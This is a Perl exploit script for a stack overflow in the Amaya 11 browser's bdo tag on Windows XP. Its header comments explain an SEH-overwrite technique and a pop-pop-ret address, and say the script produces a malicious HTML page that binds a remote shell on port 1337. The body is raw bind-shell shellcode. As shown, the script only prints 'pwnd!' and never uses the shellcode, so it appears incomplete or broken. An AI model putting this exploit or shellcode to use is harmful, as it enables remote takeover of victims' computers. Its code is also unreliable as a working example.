#!/usr/bin/perl ##################################################### # # Amaya 11 bdo tag remote stack overflow exploit # # author: Rob Carter (cartrel@hotmail.com) # # affects: winxp sp0-3 # # this vulnerability only allows hex bytes # between 0x01 and 0x7f to get to the stack # unchanged. overwrote SEH with compatible addr # of a pop pop ret, manipulated eax register # with instructions whose opcodes fell within # the acceptable range and then used a ret to # force eip to another memory range where the # payload was still intact, allowing me to use # standard metasploit shellcode with no special # encoders. # # i was able to get this working in sp2-3 VERY # easily because none of amaya's modules were # compiled with the /SAFESEH option so i was # able to just overwrite SEH with the address # of a pop pop ret in wxmsw2_2 (0x02101917) and # execution was returned to my shellcode. # # binds a shell to port 1337 of the victim # # $ perl amaya_sploit.pl > pwn.html # # the author is not responsible for any misuse of # this code. it is intended for educational # purposes only # ##################################################### $shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45". "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49". "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d". "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66". "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61". "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40". "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32". "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6". "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09". "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0". "\x66\x68\x05\x39\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff". "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53". "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff". "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64". "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89". "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab". "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51". "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53". "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6". "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"; $payload = "pwnd!"; print $payload;